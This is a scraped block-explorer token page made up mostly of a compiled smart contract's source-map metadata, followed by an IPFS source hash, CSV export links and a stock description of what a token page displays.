12803:2;12792:9;12788:18;12779:6;12735:72;:::i;:::-;12372:442;;;;;;:::o;12820:158::-;12960:10;12956:1;12948:6;12944:14;12937:34;12820:158;:::o;12984:365::-;13126:3;13147:66;13211:1;13206:3;13147:66;:::i;:::-;13140:73;;13222:93;13311:3;13222:93;:::i;:::-;13340:2;13335:3;13331:12;13324:19;;12984:365;;;:::o;13355:419::-;13521:4;13559:2;13548:9;13544:18;13536:26;;13608:9;13602:4;13598:20;13594:1;13583:9;13579:17;13572:47;13636:131;13762:4;13636:131;:::i;:::-;13628:139;;13355:419;;;:::o;13780:166::-;13920:18;13916:1;13908:6;13904:14;13897:42;13780:166;:::o;13952:366::-;14094:3;14115:67;14179:2;14174:3;14115:67;:::i;:::-;14108:74;;14191:93;14280:3;14191:93;:::i;:::-;14309:2;14304:3;14300:12;14293:19;;13952:366;;;:::o;14324:419::-;14490:4;14528:2;14517:9;14513:18;14505:26;;14577:9;14571:4;14567:20;14563:1;14552:9;14548:17;14541:47;14605:131;14731:4;14605:131;:::i;:::-;14597:139;;14324:419;;;:::o;14749:410::-;14789:7;14812:20;14830:1;14812:20;:::i;:::-;14807:25;;14846:20;14864:1;14846:20;:::i;:::-;14841:25;;14901:1;14898;14894:9;14923:30;14941:11;14923:30;:::i;:::-;14912:41;;15102:1;15093:7;15089:15;15086:1;15083:22;15063:1;15056:9;15036:83;15013:139;;15132:18;;:::i;:::-;15013:139;14797:362;14749:410;;;;:::o;15165:180::-;15213:77;15210:1;15203:88;15310:4;15307:1;15300:15;15334:4;15331:1;15324:15;15351:185;15391:1;15408:20;15426:1;15408:20;:::i;:::-;15403:25;;15442:20;15460:1;15442:20;:::i;:::-;15437:25;;15481:1;15471:35;;15486:18;;:::i;:::-;15471:35;15528:1;15525;15521:9;15516:14;;15351:185;;;;:::o;15542:180::-;15590:77;15587:1;15580:88;15687:4;15684:1;15677:15;15711:4;15708:1;15701:15;15728:180;15776:77;15773:1;15766:88;15873:4;15870:1;15863:15;15897:4;15894:1;15887:15;15914:85;15959:7;15988:5;15977:16;;15914:85;;;:::o;16005:158::-;16063:9;16096:61;16114:42;16123:32;16149:5;16123:32;:::i;:::-;16114:42;:::i;:::-;16096:61;:::i;:::-;16083:74;;16005:158;;;:::o;16169:147::-;16264:45;16303:5;16264:45;:::i;:::-;16259:3;16252:58;16169:147;;:::o;16322:114::-;16389:6;16423:5;16417:12;16407:22;;16322:114;;;:::o;16442:184::-;16541:11;16575:6;16570:3;16563:19;16615:4;16610:3;16606:14;16591:29;;16442:184;;;;:::o;16632:132::-;16699:4;16722:3;16714:11;;16752:4;16747:3;16743:14;16735:22;;16632:132;;;:::o;16770:108::-;16847:24;16865:5;16847:24;:::i;:::-;16842:3;16835:37;16770:108;;:::o;16884:179::-;16953:10;16974:46;17016:3;17008:6;16974:46;:::i;:::-;17052:4;17047:3;17043:14;17029:28;;16884:179;;;;:::o;17069:113::-;17139:4;17171;17166:3;17162:14;17154:22;;17069:113;;;:::o;17218:732::-;17337:3;17366:54;17414:5;17366:54;:::i;:::-;17436:86;17515:6;17510:3;17436:86;:::i;:::-;17429:93;;17546:56;17596:5;17546:56;:::i;:::-;17625:7;17656:1;17641:284;17666:6;17663:1;17660:13;17641:284;;;17742:6;17736:13;17769:63;17828:3;17813:13;17769:63;:::i;:::-;17762:70;;17855:60;17908:6;17855:60;:::i;:::-;17845:70;;17701:224;17688:1;17685;17681:9;17676:14;;17641:284;;;17645:14;17941:3;17934:10;;17342:608;;;17218:732;;;;:::o;17956:831::-;18219:4;18257:3;18246:9;18242:19;18234:27;;18271:71;18339:1;18328:9;18324:17;18315:6;18271:71;:::i;:::-;18352:80;18428:2;18417:9;18413:18;18404:6;18352:80;:::i;:::-;18479:9;18473:4;18469:20;18464:2;18453:9;18449:18;18442:48;18507:108;18610:4;18601:6;18507:108;:::i;:::-;18499:116;;18625:72;18693:2;18682:9;18678:18;18669:6;18625:72;:::i;:::-;18707:73;18775:3;18764:9;18760:19;18751:6;18707:73;:::i;:::-;17956:831;;;;;;;;:::o;18793:154::-;18849:9;18882:59;18898:42;18907:32;18933:5;18907:32;:::i;:::-;18898:42;:::i;:::-;18882:59;:::i;:::-;18869:72;;18793:154;;;:::o;18953:143::-;19046:43;19083:5;19046:43;:::i;:::-;19041:3;19034:56;18953:143;;:::o;19102:234::-;19201:4;19239:2;19228:9;19224:18;19216:26;;19252:77;19326:1;19315:9;19311:17;19302:6;19252:77;:::i;:::-;19102:234;;;;:::o;19342:191::-;19382:3;19401:20;19419:1;19401:20;:::i;:::-;19396:25;;19435:20;19453:1;19435:20;:::i;:::-;19430:25;;19478:1;19475;19471:9;19464:16;;19499:3;19496:1;19493:10;19490:36;;;19506:18;;:::i;:::-;19490:36;19342:191;;;;:::o

Swarm Source

ipfs://0b40e0f10e109477d6d7b3b7473d4331d70aebe62d1b71d33d0b659c06363948
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.